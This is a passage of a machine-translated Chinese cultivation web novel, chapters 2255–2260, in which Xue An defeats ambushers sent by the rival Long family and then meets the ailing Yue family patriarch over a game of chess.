    "It''s very simple. This is a shame to me. Naturally, I can''t let this man go so easily, so I decided to let you guard me in front of Yue''s house. As long as Yue Qinghuan and that man show up, you will first Give him a disarm, if he can be seriously injured and disabled in front of Yue Qinghuan..."


    Long Zhan smiled cruelly, "That''s even better!"

 Chapter 2255： Hidden dangers.

    Hearing this, Liang Dikang, Zu Deming and others looked at each other, and even smiled.


    "What am I supposed to be? That''s it! It''s a trivial matter, there''s no point at all!" Liang Dikang said confidently.


    "Yes, it''s just a half-step Xianzun boy, Long Shao can rest assured, I will deal with this matter perfectly!"


    Everyone expressed their stance one after another, the "righteous indignation" looks as if they had already subdued the other party.


    When seeing this scene, Long Zhan''s complexion couldn''t help but relax a lot, and then raised his wine glass, "That''s it, I respect everyone!"


    "good!"


    Then the atmosphere finally returned to normal, and the group of people continued to spend time and drink and have fun as usual.


    And that is, at the same moment, in another branch that is also located on the upper level, the atmosphere is a bit strange.


    This branch line is the Yue family branch line.


    However, compared with the current prosperity of the Long Family, the Yue Family''s branch line seemed much deserted and lonely.


    And in the middle of the division, there is a huge planet with no friends, which is where the Yue family headquarters is located.


    now.


    Many people in this Yue family headquarters were sullen.


    And all of this originated from the members of the Long Family who were sitting in the living room at this moment.


    I saw these menacingly occupying most of the living room, and sitting in the middle, holding a teacup in the hands of the old god, with a sneer on his face, it was a high-ranking elder of the Long family, Long Chaoming!


    This Long Chaoming completely ignored the glaring glaring at the Yue family, instead sipped a sip of tea lightly, and then said lightly: "How long has it passed?"


    "Elder Hui, three hours and five quarters have passed!"


    Hearing this, Long Chaoming put down the teacup, and then said to the ugly Yue family on the opposite side.


    "Have you heard? The old man has been waiting here for more than three hours, but your Yue family still hasn''t even said anything, even your Patriarch has never seen it. What is this? Does it look down on my Long Family?"


    As soon as this remark came out, the people of the Long Family behind him all got an uproar.


    But this made it harder to look at the face of the hostess who was specifically responsible for entertaining guests from outside.


    "Elder Long, I really don''t know what you want to say, and I have already passed in what you just said. There must be a reason why the Patriarch did not come out to see you, but what I want to say is..."


    "This is the territory of the Yue family, please also respect yourself!"


    When the words fell, an invisible force came out from the watch and the servants behind him, directly suppressing the momentum of the Long Family, and showing a counterattack.


    Seeing this, Long Chaoming let out a cold snort, breaking the confrontation, and then there was a strange laugh.


    "It''s really interesting. If you don''t have a word, you will use force to suppress people. Is this the Yue family''s hospitality?"


    "you����."


    When I just wanted to talk, a female voice came from outside the house, "Get out!"


    Following the voice, I saw a woman with a graceful figure and a black veil walking in.


    Although she can''t see her face clearly, she can tell that this woman is absolutely good-looking by the elegance of her behavior.


    As soon as she saw her, the steward immediately bowed and retired.


    This Long Chaoming''s eyes lit up, and then he leaned slightly: "So it''s the second girl! The old man is polite!"


    Second girl!


    A peculiar title.


    It''s not the second lady, nor the second lady, but this name is very well-known among military strategists and even hundreds of ancient schools.


    Especially the Yue family, almost everyone will be very respectful after seeing this second girl.


    All of this is because this woman is the head of the Yue family, that is, brother Yue Qinghuan''s personal waitress.


    It stands to reason that a waitress would never have such prestige, but the key is that she has been in the Yue family for too long.


    For a long time, Yue Qinghuan''s elder brother had always been with him before he became the head of the family, and there were rumors that this woman had rescued the Yue family more than once.


    Because of this, although this woman has no name, let alone her origin, she has extremely high prestige in the Yue family.


    Because people have already assumed her as the wife of the Patriarch, in many cases, her words represent the meaning of the Patriarch of the Yue Family.


    And her appearance today, presumably also represents the Yue Family Patriarch.


    She nodded slightly, "Elder Long is so polite. If you just passed in, the Patriarch already knows!"


    Long Chaoming''s eyes lit up, "Oh? But what does Patriarch Yue mean?"


    "Patriarch has only one sentence!"


    "What are you talking about?"


    The woman blinked Qiushui''s eyes, her voice was as cold as ice, and slowly said: "Qing Huan is a member of the Yue family, his sister! It has nothing to do with your Long family, so you don''t need to come here to criticize and comment!"


    As soon as this remark came out, it was like a loud slap in the face, slapped on the faces of all the Long Family members present.


    This Long Chaoming was even more upset, the expression on his face was green and red, staring at the woman.


    "Second girl, did your Patriarch really say that?"


    "of course!"


    "Okay! Very good!" Long Chao raised his eyebrows with anger, "I didn''t expect your Yue family to protect shortcomings like this, yes! Then Yue Qinghuan is indeed a member of your Yue family, but don''t forget, you and I belong to the military family Her words and deeds are also related to the face of the military strategist!"


    "A concubine daughter of a military family has a noble blood, but she is unclear and close to a savage man who does not know where she came from. If this is spread out, how will the ancient hundred schools treat me and so on?"


    Long Chaoming asked harshly, shaking the living room.


    And this noise also made many people in the Yue family angry, and some people quietly appeared in the living room.


    But the two girls just waved their hands, "What are you doing? Back off!"


    With an order, these people did not dare to obey, so they had to retreat again.


    Then the second girl looked at Long Chaoming coldly, and only sneered after a long while: "What a grand-sounding principle, but if Elder Long really treats me in the unexpected world, why should we allow beauty? Where are the tears?"


    This interrogation was in the middle of the point, and Long Chaoming, who had wanted to continue to say something, was speechless. After holding back for a long time, he said in anger into anger.


    "Second girl, you protect your shortcomings like this, don''t you be afraid of the news spreading, this Yue Qinghuan no one dares to marry anymore? Know my Long Family..."


    Before he finished his words, the second girl interrupted him directly, "No need to say, although the head of the family did not say, but I can call the shots for him now. Whether or not anyone in my family marries, it��s our As for your Long Family..."


    "Please forgive me for not being able to climb high!"


    This remark was simply sharp and neat, causing all the people of the Yue Family to breathe out in their hearts.


    Because it just felt so boring.


    When someone came to the door and pointed to the nose to curse, everyone had to be angry.


    Now the second girl can be regarded as sighing for everyone.


    Contrary to the Yue family members, this Long Chaoming was almost mad now.


    He trembled and looked at the second girl with anger.


    The second girl had no fear, looked at him coldly, and then said in a deep voice.


    "Elder Long, I want to remind you first that this is the territory of my Yue family. If you dare to rant like just now, I won''t be polite to you again!"

 Chapter 2256： Show prestige

    As soon as this remark came out, he wanted to have something to happen, and the awe-inspiring Long Chaoming trembled all over, instantly waking up a lot.


    "Okay! Very good! I will truthfully report the second girl''s remarks when I go back, but I also want to remind you that this matter will never be ended in such a simple way, let''s wait and see!"


    The second girl smiled faintly, "I am happy to accompany you!"


    "Let''s go!" Long Chaoming was already faceless and stayed here, leading everyone away desperately.


    As soon as he left his front foot, there was a burst of enthusiastic cheers in the meeting room.


    Many people looked at the second girl with respect.


    The second girl didn''t say a word, but said indifferently: "Let''s all return to their respective posts!"


    "Yes!"


    After everyone dispersed, the two girls turned and walked back. After crossing three verandas and crossing a small courtyard, she came to a flower hall.


    The flowers around the flower hall are like a brocade, and all kinds of exotic flowers and plants are competing for beauty. It is simply beautiful!


    The second girl walked into the flower hall along the path among the flowers.


    The flower hall is ingeniously arranged, surrounded by green gauze. The warm wind blows in, with bursts of floral fragrance, so that both inside and outside of the flower hall are immersed in the refreshing fragrance.


    In the flower hall, there is a screen erected.


    At this moment, you can see a figure sitting alone behind the screen, raising chess pieces from time to time, actually playing against him.


    The second girl stopped and leaned forward, as if she was afraid of disturbing the people''s thoughts after the screen was disturbed, and did not speak.


    This stop was a long time, and it was not until the person behind the screen dropped the **** again that he said lightly: "Are you gone?"


    "gone!"


    "How did you go?"


    The second girl took a deep breath and recounted what happened.


    After listening, the person behind the screen was silent for a moment, and suddenly chuckled, "What do you think?"


    The second girl said in a deep voice: "It seems that the people of the Long family are already a little uncontrollable, and want to use this incident to test our Yue family''s reaction!"


    "Not bad!" A light sigh came from behind the screen, "If it were to be used as a branch of other military strategists, he would not dare to come to the door and scream even if he took advantage of the ten courage of Long Chaoming. !"


    As he said, this person waved his hand and landed on the chessboard one by one, making a clear and pleasant clash.


    A flash of cold light flashed in the eyes of the second girl, and she said awe-inspiringly: "Do you want to fight back and show your prestige?"


    "No need! They used this incident to force me to show up. They must have heard some news. Now they are fighting back. On the contrary, we are even more guilty!"


    "Yes!" The second girl replied, bowing her head, the killing intent in her eyes gradually diminished.


    At this moment, another voice came from behind the screen, "Huan''er, where are they now?"


    "It''s almost here, there are at most three days away!"


    "This little girl... is very fast!" The person chuckled lightly, with a hint of pampering in his voice.


    The second girl was hesitant to speak.


    "what''s happenin?"


    "A Tan Ma reported that they had recently discovered that Liang Dikang and others had been wandering before the separation, and they seemed to be waiting for something!"


    "Oh? Liang Dikang?"


    "Yes! I suspect this is what Long Zhan meant!"


    "The little guy in the Long family seems to be really unwilling to give up!"


    "Do you want me to solve it?"


    "No need, just take this opportunity to test the strength of that kid, if he can''t even handle Liang Dikang''s stuff, there is no need to come to see me!"


    "understand!"


    The second girl bowed in response, but did not leave. Instead, she glanced at the screen hesitantly.


    "Is there anything else?"


    The second girl''s veil trembled slightly, "No...nothing!"


    "Yeah! Then you go down first!" the person behind the screen said softly.


    "Yes!"


    The second girl''s eyes became dim, her lips were tightly pressed, and she bowed, and then stepped back.


    The quietness in the flower hall was restored again, only the faint sound of the warm wind swaying the screen windows made people feel more lonely.


    The man behind the screen also looked down at the chessboard and was silent.


    At this moment, a light sigh came from the corner, and then a huge tabby cat slowly walked out of the darkness.


    If Xue An was there, he would definitely recognize this tabby cat.


    That''s right!


    It was the tabby cat that I had seen before in the arsenal.


    I saw it jumped onto the screen shelf and stretched lazily.


    "Master, the second girl seems to have noticed something!"


    The man behind the screen chuckled, "With her temperament, it would be strange if she didn''t notice it!"


    As soon as the voice fell, the man suddenly coughed.


    This kind of cough was as if he was about to cough up his lungs.


    A look of worry appeared in the eyes of the tabby cat, "Master..."


    But before it was finished, the man stopped his cough and waved his hand gently, "Needless to say, I''m fine!"


    "But... okay." The tabby cat lowered his head.


    "You will go out soon!"


    "Are you asking me to meet the young lady?"


    The man smiled, "Although that kid should be able to deal with Liang Dikang''s stuff, I am always a little uneasy. Go and observe in secret. If you can, try not to make a move!"


    "understand!"


    "Go!"


    The tabby cat nodded, jumped off the screen shelf, and disappeared before landing.


    The man behind the screen gently picked up a black chess piece and placed it in the corner of the chessboard.


    In an instant, the white player who had the absolute advantage on the chessboard was strangled in an instant, and the black chess pierced through, like a black dragon, looming hideously!


    The corners of the man''s mouth gradually raised, revealing a hint of awe-inspiring smile.


    "Tian Wai Tian''s game has been played for ten thousand years. It has become a dead end without a solution, but your arrival has added countless variables. It seems that Tian Wai Tian will no longer be peaceful from then on. what!"


    Having said that, UU Reading www.uukanshu. Com but the man''s tone implied expectation.


    And just at this moment, a wisp of breeze blew over and lifted a white handkerchief on the table, revealing the extremely red and dazzling blood on it.


    After a long journey, the shadow of the Soldier''s galaxy finally loomed in the extremely distant void.


    Yue Qinghuan became excited, "Did you see it? That incomparably magnificent galaxy is where the military family is located. Even among the ancient families, the military family''s star veins are second to none!"


    At this moment, Yue Qinghuan was like a little girl showing off toys, excited.


    Xue An smiled right, until she finished speaking, she said calmly: "Are you finished?"


    "That''s it!"


    "When you finish talking, continue on your way!"


    After all, Xue An took the lead to fly forward.


    Yue Qinghuan looked at his back with a bit of astonishment, and then curled his lips, "This guy... is really horrible."

 Chapter 2257： Bitter chill

    Even so, she hurried to catch up.


    Although they have seen the shadow of the star veins, Wangshan ran away, and the two of them walked for a long time before finally seeing the full picture of this galaxy.


    Even Xue An was shocked by this vast and huge star pillar.


    "How is it? Isn''t it spectacular?" Yue Qinghuan was very satisfied with the shocked look on Xue An''s face, and couldn''t help laughing.


    Xue An reduced the astonishment on his face and nodded, "It''s really spectacular!"


    When I was in the heavens before, even the most powerful sect occupies only one star.


    But I didn''t expect that the handwriting of the ancient schools of Tianwaitian would be so big, directly living in a galaxy.


    "The spectacular one is yet to come! Let''s go, go home first!"


    Yue Qinghuan led the way, leading Xue An and rushed to the Yue family.


    But just before the two arrived at Xingmai, before they waited to fly in, they saw several Guanghua suddenly flying laterally, just blocking the path of the two.


    Suddenly, Yue Qinghuan was caught off guard, and could only abruptly stop.


    Even so, the two sides almost collided together.


    After seeing the other''s appearance, Yue Qinghuan couldn''t help but change his face, and then said angrily: "Liang Dikang, Zu Deming, what do you want to do?"


    That''s right!


    It was Liang Dikang and Zu Deming who stopped them from going.


    I saw them grinning and rushing to Yue Qinghuan to bow their hands.


    "Miss Yue, this matter has nothing to do with you, we are here specially for the man behind you!"


    How smart is Yue Qinghuan, he immediately figured out the stakes in it, and could not help but said coldly: "Did Long Zhan let you come?"


    "Hehe, don''t worry about whoever asked us to come. Anyway, we have been waiting here for many days for this man!"


    After that, Liang Dikang smiled slightly at Xue An, who was standing behind Yue Qinghuan, "Boy, if you are a man, don''t hide behind a woman!"


    "Yes, since you have the ability to rob women, don''t persuade you at this time!" Zu Deming also said gloomily.


    And just when the two of them were talking, the people who came with them had quietly dispersed, blocking all of Xue An''s retreat.


    The situation immediately became tense.


    And this scene was naturally seen by the tabby cat hiding in the void in the distance.


    It couldn''t help baring its teeth, "It''s broken, these guys don''t seem to plan to be moral, they are ready to fight together!"


    "Then I still can''t do it now?"


    The tabby cat hesitated a little, and finally decided to wait and see.


    But it doesn''t know, and at the same time, it''s not just it observing in the dark.


    In the tears of the beauty who separated from the Long family, Long Zhan was sitting in the red sleeved box, looking down at a light curtain on the table.


    This light curtain is different from the general water mirror method, not only the picture is much clearer, but even the sound can be transmitted through.


    This is a magic weapon that Long Zhan got in accidental circumstances back then, and the image can be clearly transmitted no matter how far away.


    This time, Liang Dikang and others did things for him and cleaned up Xue An.


    In order to be able to witness this "grand event" with his own eyes, he let it pass by with this magic weapon.


    now.


    When Long Zhan heard the aggressive clamor of Liang Dikang and Zu Deming to Xue An in the picture, his face couldn''t help showing infinite pleasure.


    Boy, what if you can get Yue Qinghuan''s heart by means?


    Today I want you to become a **** in front of Yue Qinghuan.


    In this case, I see what else Yue Qinghuan can do!


    At this moment, under the attention of all parties, Xue An, who had been standing silently behind Yue Qinghuan, suddenly laughed, and then stretched out his hand and patted Yue Qinghuan''s shoulder gently, preventing her from raising her eyebrows. roar.


    "Needless to say so much, you just step aside, these people are coming to me, then give them all to me!"


    Yue Qinghuan was startled, and then said embarrassedly: "But..."


    She was worried about Xue An.


    Because she knew both Liang Dikang and Zu Deming, she knew that although these people were not so powerful, they had experienced countless winds and waves with the help of the Long Family, which was extremely difficult.


    Although Xue An has now been promoted to the Immortal Venerable, but in this outer sky, he still doesn''t look enough!


    Seeing her worries, Xue An smiled slightly, "Don''t worry! I don''t care about these people!"


    Hearing these words, Yue Qinghuan''s expression suddenly loosened.


    Because she knew that if Xue An dared to say that, it proved that he had full confidence.


    So he retreated very well knowingly.


    However, although she was full of confidence in Xue An, Liang Dikang and others were irritated by Xue An''s words just now.


    I saw Liang Dikang sneered and looked at Xue An a few times, and then said gloomily: "Boy, I didn''t expect your strength to be very good, but your tone is not small!"


    "Really? I don''t think so!" Xue An smiled lightly.


    "Stop talking nonsense, do you know why we are looking for you?" Zu Deming shouted murderously.


    "You and I have no grudges in the near future, and have never even veiled our faces before. Now I suddenly came to the door. It should be the instruction of that young Master Long!"


    "That''s right! Boy, you''re not confused when you look at this, then how dare you faint and grab a woman from Long Shao?"


    This remark made Yue Qing Huan''s eyebrows stunned, and when he wanted to speak, Xue An chuckled.


    "First of all, I didn''t **** women from him. All this was just his wishful thinking. Furthermore, even if I **** women from him, what can you do?"


    There is naked contempt in this understatement.


    People like Liang Dikang and Zu Deming couldn''t help but furious.


    "Boy, I just wanted to teach you today. Since you are so arrogant, then I will let you know the rules of Heaven!"


    Liang Dikang roared and then bullied himself up, palm like a blade, and fell from top to bottom.


    The speed of this palm was like a bolt of lightning, and a sharp blade wind blew up wherever it passed.


    Undoubtedly, as long as you are slightly touched by this sword wind, even if you are a body made of fine gold, you will have to be cut in half.


    This is exactly what Liang Dikang relied on to become famous.


    And not only that, when Liang Dikang started his hand, Zu Deming on the side also moved.


    He raised his hand and stretched out his two fingers, leaning forward, and the fingers passed directly through the void, and they came behind Xue An, and they could pierce the back of his head.


    For a moment, the palm of the front was windy, and the back of his fingers pierced.


    Xue An was plunged into a great crisis.


    But he laughed.


    And it was in this gentle and gorgeous smile that Liang Dikang and Zu Deming, who were supposed to have killed the young man in white clothes, were all shocked and felt a biting chill.

 Chapter 2258： 1 Destroy the enemy

    This feeling was like facing a terrifying dragon, causing the hairs on both of them to stand upright.


    But now, even if they want to retreat, it''s impossible for them, so they can only roar and attack Xue An with all their strength.


    But at this moment, seeing the brilliance of Xue An''s eyes flashed, then Liang Dikang and Zu Deming felt a slight pain in their palms.


    Why haven''t they waited for them to react?


    The palms of the two of them burst into flames.


    The flame is almost transparent, but a bright red looming at the top.


    But the flame, which seemed inconspicuous, spread upward along the palms of the two of them like tarsus maggots.


    Wherever he went, the skin and bones all turned to fly ash, disappearing.


    "Ah ah ah ah ah ah ah!"


    The two screamed in horror, and they couldn''t care about dealing with Xue An, and they just rolled in the air.


    There is no other reason, it is that this feeling is too painful.


    It stands to reason that with their cultivation base and strength, only one arm was burned, so they shouldn''t be so gloomy.


    But the key to their horror, the two of them discovered that the flame burned not only their arms, but also lost a piece of their soul.


    This is why the two of them are so painful.


    After all, the pain from the soul is not something ordinary people can bear.


    At this time, the flame continued to spread upward, and it was about to burn over his shoulders and reach his chest.


    These two people have distorted facial features, but they also know that if they don''t make a decision at this moment, then their own little life may have to be explained here.


    Therefore, the two of them did not hesitate to raise the other hand and cut it off to their shoulders.


    Click!


    Accompanied by a crisp sound, the two of them broke their arms, and before they landed, they were completely burned into nothingness by the flames.


    Then the two of them turned pale and backed back again and again, as if the flame was the most poisonous thing in the world.


    It wasn''t until they retreated tens of feet away that the two of them relaxed a little.


    At this moment, Xue An chuckled, "Thank you, what are the rules of Tian Waitian? Can you tell me now?"


    As soon as this statement came out, the faces of Liang Dikang and Zu Deming were ugly and ugly.


    After all, just now, the two of them vowed to teach Xue An a lesson.


    Unexpectedly, the two of them were beaten in the face in the blink of an eye. Not only did they fail to honor the words they just said, they were forced to lose an arm.


    The contrast and humiliation in this made the two of them feel ashamed.


    But they were also really afraid of Xue An that didn''t know where the flames came from, so they hid in the distance and didn''t even dare to say a word.


    Xue An smiled slightly at this, "It seems that you two have nothing to say, but I have something to say..."


    As he spoke, he saw Xue An raised his head, looked towards a certain direction, and then said lightly: "Is it fun to watch from behind?"


    Many people don''t know who Xue An is talking to, but Liang Dikang and Zu Deming are the only ones who are disgusted.


    At the same time, Long Zhan in the red sleeves box was also pale.


    Because he never expected that the person he sent out to kill Xue An''s prestige was defeated without even having a face-to-face encounter.


    Although separated by a screen, the terrifying flame still shocked Long Zhan.


    But what made him the most unacceptable was that Xue An actually asked himself as if he knew that he was watching all this.


    Looking at the young man in white on the screen who looked up at him, Long Zhan''s eyes were filled with infinite anger.


    This is the first time he has seen such undisguised contempt in the eyes of others.


    That kind of feeling, as if he was a thief caught on the spot.


    This couldn''t help making him roar, then slapped the table hard, "Asshole, I..."


    Before I could say anything, Xue An suddenly sneered, "I guess you must be furious with incompetence now, but do you think this is enough?"


    "Since you are so willing to hide behind and peek, then I will teach you a lesson that will be unforgettable for a lifetime!"


    What do you mean?


    Long Zhan was taken aback for a moment, even though Xuan was almost cheated.


    You must know that they are separated by an extremely long distance now.


    After all, one is in the Yue family and the other is in the Long family.


    Although they belong to the same galaxy, they can be considered to be some distance away.


    Besides, he was spying on all this through a magic weapon, but he said that he wanted to teach himself a lesson, how is this possible!


    Just when Long Zhan thought Xue An was talking big.


    But seeing Xue An''s eyebrows stunned and suddenly raised his hand, the magic weapon originally worn by Liang Dikang flew into his hands.


    This magic weapon is a piece of jade pendant carved with runes.


    Then Xue Anyi pointed on this jade pendant!


    The runes on the jade pendant were instantly activated and spun quickly.


    In an instant, with the rotation of this rune, a passage appeared in the space that appeared.


    Upon seeing this, Long Zhan suddenly raised his head, his eyes full of shock.


    After obtaining this magic weapon, he only mastered the function of peeping into the distant situation through it.


    But I didn''t expect that it could actually open the space-time channel.


    The key is how did Xue An know?


    Not only was he shocked, even Yue Qinghuan opened his mouth slightly.


    Because she suddenly discovered that there seemed to be nothing in the world that Xue An could not.


    Just as everyone was shocked, they saw Xue An blast into this passage with a punch.


    At the same time, on Long Zhan''s side, the light curtain shattered in an instant, and Xue An''s fist shot straight out, smashing towards Long Zhan.


    Long Zhan never dreamed that he would have such a hand, but his reaction was fast enough. He turned to the side and wanted to avoid the punch.


    At the same time, there was a cruel look in his eyes, and a short sword appeared in his hand, quietly slashing towards Xue An''s arm.


    Anyway, he couldn''t see the situation here now, and his sword would definitely be able to keep his arm here.


    Just as Long Zhan was proud, he saw Xue An''s fist suddenly open, and then he banged, exploding countless flames.


    That''s right!


    As if a firework exploded, countless tiny sparks scattered all around.


    Long Zhan, who was closest to him, took the brunt, and was directly splashed with sparks on his face.


    "Ah ah ah ah ah ah ah!"


    This Long Zhan is even worse than that of Liang Dikang and others. UU Reading www. uukanshu.com saw him covering his face with his hands, blood dripping down his fingers, rolling on the ground in pain.


    The other people in the room were also terrified.


    Because these sparks seem to have spirituality, the one person who is directly targeted at Long Zhan, even if the other people touch it, they will not feel at all.


    At this moment, Xue An''s arm was withdrawn from the passage, and the space recovered as before.


    It''s just that there is a dragon on the ground who is constantly roaring and rolling.


    At this time, someone with a clearer mind immediately shouted: "Quick! Call the spiritual doctor!"


    The whole Red Sleeve Trick instantly commotion. After the spiritual doctor arrived, he couldn''t help being shocked when he saw Long Zhan''s current situation.


    "This is not something I can solve at all. I''d better send Shao Long back home as soon as possible. There must be a powerful shot!"


    So someone immediately lifted Long Zhan away from Beauty Tears and flew towards Long''s house.

 Chapter 2259： After the big fight, nothing can be said about it

    After Xue An pulled his arm out of the passage, he slowly looked at Liang Dikang and the others, who were pale and full of horror.


    "Did you see it? This is my rule!"


    Liang Dikang and the others nodded subconsciously, and did not dare to say a word.


    Xue An waved his hand, "Go away!"


    These people, as if they were amnesty, immediately became birds and beasts scattered.


    In the blink of an eye, the group of people who were still aggressive just disappeared, and everything was calm again.


    But Xue An didn''t turn around and leave, but smiled and looked into the darkness in the distance.


    "You have been hiding in the dark for so long, don''t you plan to show up?"


    Following this questioning, a soft sigh came from the darkness.


    "Seriously Xue An, I thought you would grow, but I didn''t expect you to grow so fast!"


    Following the voice, but seeing the raccoon cat stepped out.


    "Big smelly cat?" Yue Qinghuan exclaimed.


    As soon as he heard this name, a look of helplessness appeared on the face of the tabby cat.


    After this human expression appeared on a cat''s face, how funny it looked.


    "Second Miss, can you please call me a stinky cat as soon as you meet? I am also the general in charge of one party, which will make me very shameless!"


    "Then what should you call you, big smelly cat?"


    "Tabby cat is okay, as is the uncle cat, just don''t call me a big smelly cat, I listen to disgusting!" The tansy cat said helplessly.


    "Bah! You are the uncle cat!" Yue Qinghuan took a sip, but he laughed.


    The tabby cat couldn''t provoke Yue Qinghuan, and he didn''t dare to provoke it, so he didn''t hear it all.


    It turned its head and barked its teeth at Xue An. "Boy, Uncle Cat originally planned to come and help you clean up Liang Dikang''s gang, but I didn''t expect you to give me such a big surprise. I believe the master will also do it after seeing you. Very surprised!"


    Xue An''s expression moved slightly, because he knew that the next thing he wanted to see was the one who left the arsenal and buried the Chinese war-dead heroes in it.


    For this person, Xue An is also full of curiosity.


    Because he wanted to know what happened that year!


    Seeing Xue An��s doubts and eagerness, the tabby cat smiled, and then turned around.


    "Let''s go, the master is waiting for you at home!"


    At this time, they were before the Yue family''s separation, so under the leadership of the raccoon cat, they arrived at the Yue family only a moment later.


    This house was completely different from the magnificent and magnificent vision Xue An had imagined before, and it was even a little too ordinary.


    It''s like an ordinary big family.


    When the two people and a cat fell on the ground, the guard in front of the door immediately stepped aside and bowed to salute.


    "I have seen the second lady! I have seen Mr. Cat!"


    The tabby cat strode past it with a proud face.


    Yue Qinghuan was expressionless, but there was a hint of excitement in his eyes.


    After all, she missed her brother for so long.


    I wonder if he is okay!


    With this thought in mind, two people and one cat walked into the house, and then walked back.


    But just before coming to the flower hall in the backyard, but seeing the two girls standing here, they seemed to be waiting for them.


    "Second girl!"


    Yue Qinghuan also respected the waitress next to her brother.


    The second girl nodded, but her eyes stayed on Xue An, after staring deeply for a moment.


    She smiled suddenly.


    "Qinghuan, your brother asked me to wait for you here, and only let this young man go in by himself!"


    Ok?


    Yue Qinghuan was taken aback for a moment, and didn''t understand what his brother meant.


    I came back so far, but my brother was not in a hurry to see himself, but wanted to see Xue An alone?


    What is the reason for this?


    All kinds of doubts emerged in her heart, but when she grew up with her elder brother since she was a child, she still very obediently stopped, then lowered her voice and said to Xue An.


    "Go, my brother wants to see you!"


    Xue An nodded, and then stepped inside.


    It is still the beautiful and moving flower hall, and it is still the warm air that is assaulting.


    This backyard seems to be a world of its own, independent of the external environment.


    A look of surprise appeared in Xue An''s eyes.


    Because after entering this backyard, he didn''t notice any spell fluctuations, he simply passed through a door, and as a result, such a huge change occurred inside and outside the door.


    These methods are simply incredible.


    At this moment, I heard a faint voice in the flower hall.


    "Can you play chess?"


    "Understand a little bit!"


    "Well, accompany me to the next set!"


    Following the voice, Xue An felt that the scene in front of him suddenly changed, and he actually came directly from the flowery backyard to a solemn ancient battlefield.


    He stood on the top of the mountain, and at his feet was the battlefield soaked in countless blood.


    On the battlefield, there are countless soldiers.


    These pawns stood in sequence according to the pattern of the chessboard, and in the middle was the clear boundary of Chu River and Han Dynasty.


    The soldiers on Xue An''s side looked like fire in red, while the soldiers on the side of Chuhe Hanjie were all dressed in black.


    Such a sight caused Xue An to raise his eyebrows slightly, and at the same time, a voice came from the mountain on the opposite side.


    "You are a guest, you are the first!"


    When the words were over, a huge chessboard appeared in front of Xue An.


    Xue An was not welcome, and made a move directly.


    All of a sudden, only the horses neighed, and the situation on the battlefield changed accordingly.


    "Very uninspiring start!" The voice on the other side commented, and then settled back.


    In an instant, the two were inextricably killed, and the situation on the battlefield became fierce.


    Suddenly, the voice chuckled slightly, "Hehe, you lost!"


    As he spoke, he saw a chariot rumbling over and came directly under Xue An''s hill. As long as he took another step, the hill would be crushed by the chariot.


    General!


    This is a lore.


    But Xue An said without any waves: "That''s not necessarily!"


    When the words fell, I saw Xue An place the order, and then listened to a small cry from the battlefield on the opposite side ~ www.novelhall.com~ and took a step forward.


    It was this step that directly blocked all the retreats on the opposite side, and became a dead end without a solution.


    But what played a key role was just the most common pawn, and even the offense could only advance step by step!


    The battle was set, but the opponent was silent.


    Until a long time later, I only heard this voice and sighed softly: "Good chess! Actually kill my veteran with a small pawn! What is this chess move?"


    Xue An shook his head, "There is no way! Because I feel that as a **** crossing the river, you can only go forward and kill the enemy to survive. After the so-called big fight, you can talk about it, and after you have done it, you can do nothing! In the face of the indomitable power, any trick is vain!"


    "That''s good!" There was a round of applause from the other side. "It seems that the tabby cat did not make a mistake, you are indeed a rare talent!"


    When the words fell, the battle scene seemed to pass away in an instant, when Xue An discovered that he had actually been sitting in the flower hall.


    Opposite him, a beautiful young man was sitting on a chair, looking at him with a smile.

 Chapter 2260： Yue 10 Fang

    What a teenager this is!


    He saw that his eyes were lacquered, his eyebrows were cut like a knife, his thin lips were slightly pressed together, and there was a slight smile on his face.


    Although just sitting there simply, the whole person''s temperament is like a orchid laurel tree, Yu Ying Xiaming.


    Even Xue An, who is also a man, couldn''t help but pause for half a beat after seeing the boy.


    There is no other reason, it is that this young man is so pretty, so pretty to the point of enchanting!


    "Hello, I am Yue Qinghuan''s brother and the current Patriarch of the Yue family, Yue Shifang!"


    The juvenile''s tone is clear and clear, with a unique sense of beauty.


    Yue Shifang!


    This name made Xue An''s brows gradually unfolded, and then the whole person relaxed, leaning lightly on the chair, and looking at the young man with a smile.


    "Does it feel like a violation?" Yue Shifang asked.


    "It''s a bit!"


    "There is no way. Others are fighting in all directions, but I am different. I am naturally handsome at least two times more than others!" Yue Shifang explained with a smile.


    Despite this, Xue An can still feel a surge of domineering from the lines of his words.


    "Do you know why I want to see you alone?"


    As Yue Shifang said, flipping his wrist, the chessboard in front of him disappeared, replaced by a table full of exquisite tea sets.


    "I heard that your tea art is good, can you let me taste it?"


    Xue An didn''t respond either, but directly sat upright, fiddling with the tea set like flowing water.


    Charcoal is good charcoal that is crystal clear like a pearl, and water is good water that is like ice and jade, with a strong aura.


    Even the teapot is a masterpiece of skillful craftsmen.


    As for tea...


    The illusion created by the transpiration over the tea leaves is enough to explain everything.


    So in a short while, a strong tea fragrance swelled, and even overwhelmed the fragrance of flowers and plants in the courtyard, which made people fascinated by the smell of it.


    Yue Shifang smiled without saying a word, watching quietly.


    It was not until after cooking that Xue An handed him a cup personally, and he raised his slender hand to take it.


    The teacup is as white as jade, and his hands are a bit more white than the teacup.


    Looking at the tea in the tea cup that was almost jasper-colored, Yue Shifang chuckled lightly, "Sure enough, it''s so good craftsmanship, I''m already drunk before drinking it!"


    As he said, he drank the tea in the cup in one sip.


    But maybe because he was drinking in a hurry, he suddenly began to cough violently.


    Xue An didn''t move, just sat on the opposite side and watched quietly.


    It was not until a long time later that Yue Shifang slowly stopped his cough, and then raised his head.


    Seeing him at this moment, his pale cheeks were filled with sickly flushes, and the trace of blood slowly leaking from the corners of his mouth was even more shocking.


    Xue An raised his eyebrows slightly, "Is it because you don''t want her to see your sickness?"


    Yue Shifang nodded, then casually wiped the blood from the corner of his mouth with his sleeve, and laughed at himself.


    "I''m already a useless person in this way, so why bother to worry about her?"


    "Then you plan to keep hiding like this?"


    "How long can you hide it?"


    The flower hall was quiet again, only the curl of water vapor rising from the tea cup proved that time did not stop.


    Xue An lowered his eyes, suddenly feeling a little melancholy.


    Because he never expected that the existence of the arsenal for himself in the heavens would be such an ailing young man.


    Seeing Xue An��s loss, Yue Shifang smiled lightly: ��I know you have a lot of questions to ask me, and I will also tell you everything I know, but the premise is that you need to have enough strength. Otherwise, even if I tell you, it will be harmful and useless!"


    "What is sufficient strength?" Xue An raised his head, stared at Yue Shifang, and asked slowly.


    "At least like me!"


    Yue Shifang said lightly, and at the same time raised his eyes slightly, a breath of endless, like a starry sea suddenly emerged from him.


    boom!


    The flowers in the entire flower hall turned into nothingness in an instant, but in the next instant, these flowers were redrawn and shook with the wind.


    The whole process is extremely fast, maybe even these flowers don''t know that he has died once.


    Xue An was horrified but horrified.


